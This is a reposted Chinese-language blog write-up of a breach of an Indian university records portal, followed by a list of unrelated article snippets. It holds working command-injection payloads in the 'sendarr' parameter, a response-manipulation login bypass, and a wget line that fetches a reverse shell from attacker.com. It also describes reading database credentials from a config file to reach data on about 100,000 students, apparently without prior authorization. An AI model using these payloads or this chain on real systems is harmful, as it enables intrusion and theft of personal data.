实战 | 国外攻破大学数据库系统,暴露数千学生记录

实战 | 国外攻破大学数据库系统,暴露数千学生记录

引言

在这篇文章中,我将分享我是如何攻破一个大型大学解决方案门户服务器的,这个服务器服务于许多大学客户,并且涉及数千名学生的数据。

目标

这是一个由印度许多大学和学院使用的门户网站,用于管理学生记录、成绩单、出勤记录、答题册等。这个网站只有学生和教师能够登录,注册时需要有效的学院注册号。

这个服务器还配有一个使用相同后端的移动应用程序。

信息收集

像往常一样,我首先进行信息收集,利用Subfinder、Assetfinder、amass、crt.sh和ffuf等工具,尝试找到目标的几乎每一个子域名和二级子域名。我将目标的域名存储在一个名为“scope”的文件中,然后运行了这些工具。但我未能找到该域名的任何有趣的子域名。

该门户本身是一个子域,例如 studentportal.example.com。所以我进入了下一阶段的信息收集,即目录扫描。我最喜欢的目录扫描工具是 FFUF[1],这是一个快速、可靠的扫描工具。所以我运行了这个命令:

ffuf -w /usr/share/wordlists/dirb/big.txt -recursion -u https://studentportal.example.com/ -mc 200,301,302

我让扫描器运行了一分钟左右。

我发现了一个有趣的目录叫做 /bkp。

于是我立即停止了扫描,快速访问了 /bkp 端点,发现了一个页面。那是一个备份门户的登录页面。我心想……找到我的第一个突破口了!

在这里插入图片描述

我开始尝试各种可能的默认凭据组合,但没有一个能成功。现在开始进行攻击链……

部分认证绕过

你可能会想,所谓“部分”认证绕过是什么意思,我将先展示我是如何进行认证绕过的,然后再解释。

我启动了 BurpSuite 进行拦截,并用随机凭据发送 POST 请求。现在我可以看到一个请求被发送,其中包含我输入的数据。

在这里插入图片描述
真正的专业人士可以立即发现这里的漏洞!!

在响应中,我们可以看到它返回了“failure”,这意味着登录验证在客户端验证中起着重要作用。这可能存在响应操控攻击的可能性。

因此,我检查了客户端代码,发现如果登录成功,服务器会返回待备份的数据,并将用户重定向到一个面板,在那里显示从登录返回的数据库名称。由于我不知道服务器上有哪些备份,我尝试将“failure”编辑为“success”。请求返回了 200,并直接发送了请求到 /bkp/connect.php(connect.php 用于登录后端的 MYSQL 数据库)。

然后,我发现我已经成功登录到了面板!!
但这只是部分成功,意味着显示的数据库名称是‘s’,‘u’,‘c’,‘c’,‘e’,‘s’,‘s’,因为它将每个字母视为数据库名称。

我无法查看可以备份的数据库名称,但如果我知道数据库的名称,我可以使用备份功能。

远程代码执行

在面板中,我看到一个名为“Backup”的按钮。该按钮的功能是将选定的备份数据下载为一个 zip 文件。点击备份按钮后,它会发送一个 POST 请求到 /bkp/backup1.php,并在一个名为“sendarr”的参数中发送备份数据库名称。

在这里插入图片描述
我尝试对 sendarr 参数进行模糊测试,持续了大约 10 到 20 分钟,最终发现了一个重要线索。

当我将 sendarr 的值设置为 %00(空字节)时,服务器崩溃,并返回了一个有趣的错误响应。
在这里插入图片描述
后端在处理备份时使用了 exec() 函数。

在 PHP 中,exec() 命令用于从 PHP 文件运行系统命令。

看到这个响应我非常兴奋,因为它表明服务器在这个过程中使用了 exec()。所以我立即注入了一个会延迟 20 秒并返回响应的有效载荷。

sendarr=|sleep 20

在 Bash/Linux 终端中,|(管道)符号用于将一个命令的响应重定向到另一个命令,基本上是将多个命令串联起来。

因此,当前命令在后端的样子将是:

./backup.sh | sleep 20

因此,在运行 backup.sh 之后,它会执行 sleep 命令。

我发送请求,结果是服务器响应用了 20.6 秒。这让我确认了这是一个远程代码执行(RCE)漏洞。

目前它是盲注的,我需要得到可见的证据才能继续进行。所以我运行了一个命令,并将输出重定向到 /var/www/html/out。

网站的主目录是 /var/www/html,因此如果我在主目录中放置一个包含我运行命令输出的文件,我就可以通过访问 /out 来查看输出。所以我注入了这个有效负载:

sendarr=|id>/var/www/html/out

这个有效负载会在服务器上执行 id 命令,并将输出重定向到 out 文件中。

然后我访问了 /out,结果是,太棒了!!!

在这里插入图片描述

现在我获得了代码执行权限,编写了一个简单的 Python 脚本与服务器进行交互,就像一个 shell 一样。
在这里插入图片描述

获得访问权限

为了进入服务器,我使用了 PentestMonkey 提供的反向 shell。

我在我的攻击者机器上托管了反向 shell 文件,并使用以下有效负载将其下载到目标服务器:

sendarr=|wget https://attacker.com/rev.php

此命令将反向 shell 下载到网站的主目录。

然后,我在 netcat 上启动了监听,并访问了 /rev.php。

结果,我获得了 shell!

在这里插入图片描述
我发现了服务器内部的所有程序文件,涉及学生数据管理、成绩单生成、将学生成绩添加到数据库的程序、插入出勤数据的程序、支付处理等功能。

在浏览文件的过程中,我找到了我想要的……一个名为 consts.php 的文件,其中包含了用于登录数据库的 MySQL 凭据。
在这里插入图片描述
我再也不想等待,迅速尝试使用以下命令登录 MySQL:

mysql -h servername.rds.amazonaws.com -u username -p

然后,砰的一声!我成功进入了数据库!!!

我发现了许多不同大学和学院的数据库。

在列表中找到了我的大学,尝试查找我的出勤、入学和成绩数据,并且我成功找到了这些信息!

以下是我找到的数据截图:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
我将这一情况报告给了我的学院院长,他将其转发给了该服务提供商的IT团队,修复漏洞几乎花了两周的时间。

该数据库几乎包含了全国100,000多名大学生的数据。

结论

最终,我成功完成了攻破服务器的任务。整个利用链的执行和数据库的访问花费了我3天的时间。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/899701.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

没有基础,学习HCIE难吗?

首先要清楚,华为 HCIE-Datacom 认证并非局限于特定专业背景,即便对专业基础有一定要求,无论你有无相关学习经历或者工作经验,皆有机会报考并争取通过这一认证。HCIE-Datacom 考试主要由笔试和实验两部分构成,涉及高级路…

elf加载,动态库加载

elf加载 ELF(Executable and Linkable Format,可执行与可链接格。 所以我们写代码生成的可执行文件,以及写的动态库都是elf格式的文件。 我们重点要关注的就是红色框框里面的section节。 而节保存的就有我们的代码段和数据段。所以我们链接…

Redis 性能优化选择:Pika 的配置与使用详解

引言 在我们日常开发中 redis是我们开发业务场景中不可缺少的部分。Redis 凭借其内存存储和快速响应的特点,广泛应用于缓存、消息队列等各种业务场景。然而,随着数据量的不断增长,单节点的 Redis 因为内存限制和并发能力的局限,逐…

ONLYOFFICE文档8.2:开启无缝PDF协作

ONLYOFFICE 开源办公套件的最新版本新增约30个新功能,并修复了超过500处故障。 什么是 ONLYOFFICE 文档 ONLYOFFICE 文档是一套功能强大的文档编辑器,支持编辑处理文档、表格、幻灯片、可填写的表单和PDF。可多人在线协作,支持插件和 AI 集…

论文解读 | ECCV2024 AutoEval-Video:一个用于评估大型视觉-语言模型在开放式视频问答中的自动基准测试...

点击蓝字 关注我们 AI TIME欢迎每一位AI爱好者的加入! 点击 阅读原文 观看作者讲解回放! 作者简介 陈修元,上海交通大学清源研究院硕士生 概述 总结来说,我们提出了一个新颖且具有挑战性的基准测试AutoEvalVideo,用于全…

红队-安全见闻篇(上)

声明 学习视频来自B站UP主 泷羽sec的个人空间-泷羽sec个人主页-哔哩哔哩视频,如涉及侵权马上删除文章 笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负 一.编程与开发 1.后端语言学习 C语⾔:⼀种通⽤的…

NVR小程序接入平台/设备EasyNVR多个NVR同时管理的高效解决方案

在当今的数字化安防时代,视频监控系统的需求日益复杂和多样化。为了满足不同场景下的监控需求,一种高效、灵活且兼容性强的安防视频监控平台——NVR批量管理软件/平台EasyNVR应运而生。本篇探讨这一融合所带来的创新与发展。 一、NVR监测软件/设备EasyNV…

053_python基于深度学习的短视频内容理解与推荐系统

目录 系统展示 开发背景 代码实现 项目案例 获取源码 博主介绍:CodeMentor毕业设计领航者、全网关注者30W群落,InfoQ特邀专栏作家、技术博客领航者、InfoQ新星培育计划导师、Web开发领域杰出贡献者,博客领航之星、开发者头条/腾讯云/AW…

如何实现海内外工厂的EDI对接?

企业在国际市场的扩张需要高效的信息流动,以便快速响应客户需求。但国内工厂和海外工厂使用的系统可能存在兼容性问题,且数据格式各不相同,集成过程复杂。 近期国内主营高精度滚动轴承的汽车行业C公司就遇到了这样的挑战,如何实现…

linux查看文件命令

查看文件命令 显示命令 cat 语法:cat 【选项】 文件 选项 命令含义n显示行号包括空行b显示行号不包括空行s压缩空行为一行A显示隐藏字符 cat -n 文件:显示行号包括空行 cat -b 文件 cat -s 文件 cat -A 文件 more和less是 分页查看 tac和rev都…

python实战项目47:Selenium采集百度股市通数据

python实战项目47:Selenium采集百度股市通数据 一、思路分析二、完整代码一、思路分析 这里以获取百度股市通股评下的投票数据为例,页面中的其他数据同理。由于此页面数据是js动态加载的,所以采用Selenium获取数据。思路很简单,通过Selenium打开页面,然后定位到“股评”选…

502 错误码通常出现在什么场景?

服务器过载场景 高流量访问:当网站遇到突发的高流量情况,如热门产品促销活动、新闻热点事件导致网站访问量激增时,服务器可能会因承受过多请求而无法及时响应。例如,电商平台在 “双十一” 等购物节期间,大量用户同时…

Java 多线程(七)—— 定时器

定时器介绍与使用 先简单介绍一下什么是定时器:定时器类似生活中的闹钟,当时间一到,我们就会去做某些事情。 在代码层面理解就是,当我们设置的时间一到,程序就会执行我们固定的代码片段(也就是任务&#x…

Nacos-Sync-未授权进后台(建议自查)

Nacos-Sync-未授权进后台(建议自查) 漏洞成因 没进行权限校验。 影响范围 Nacos-Sync 3.0 发现方式 一、fofa发现 title“nacos” && title“Nacos-Sync” 二、路径拼接 /#/serviceSync 利用方式 访问之后直接是进入后台的样子~ 修复方…

【AI视频抠图整合包及教程】开启视觉分割新纪元 —— Meta SAM 2

在数字化时代,Meta公司推出的SAM 2(Segment Anything Model 2)标志着图像和视频分割技术的一个新高度。SAM 2不仅继承了前代SAM模型的卓越性能,更在实时处理、视频分割、交互式提示等方面实现了重大突破。以下是SAM 2的全面营销文…

【植物识别系统】Python+人工智能+深度学习+卷积神经网络算法+TensorFlow+算法模型+Django网页界面平台

一、介绍 植物识别系统,使用Python作为主要编程语言开发,通过收集常见的6中植物树叶(‘广玉兰’, ‘杜鹃’, ‘梧桐’, ‘樟叶’, ‘芭蕉’, ‘银杏’)图片作为数据集,然后使用TensorFlow搭建ResNet50算法网络模型&am…

如何通过Lua语言请求接口拿到数据

文章目录 概要http客户端通过请求下载数据 概要 当某个需求是需要在模块内请求接口拿到数据,需要使用http客户端调用接口 http客户端 LuaSOC请求接口官方文档 调用:http.request(method,url,headers,body,opts,ca_file,client_ca, client_key, clien…

【日记】感觉沟通是件很难精通的事情(1397 字)

正文 今天霜降,感觉得开始戴手套了,去年就是因为戴得早,所以避免了生冻疮。不知道今年还会不会有这么幸运。虽然霜降,但意外地天气很好呢。下午又找了个时间稍微偷溜出去发了一会儿呆。可惜每次下班天都黑了,天气好的话…

HCIP--1

同一区域内的OSPF路由器拥有一致的 LSDB, 在区域内,OSPF 采用 SPF算法计算路由一个区域太多路由器,硬件资源跟不上,所以多划分区域 OSPF 路由计算原理 1. 区域内路由计算 LSA 在OSPF中,每个路由器生成 LSA,用于告诉…

基于SpringBoot的宠物爱好者交流系统的设计与实现(源码+定制+开发)

博主介绍: ✌我是阿龙,一名专注于Java技术领域的程序员,全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师,我在计算机毕业设计开发方面积累了丰富的经验。同时,我也是掘金、华为云、阿里云、InfoQ等平台…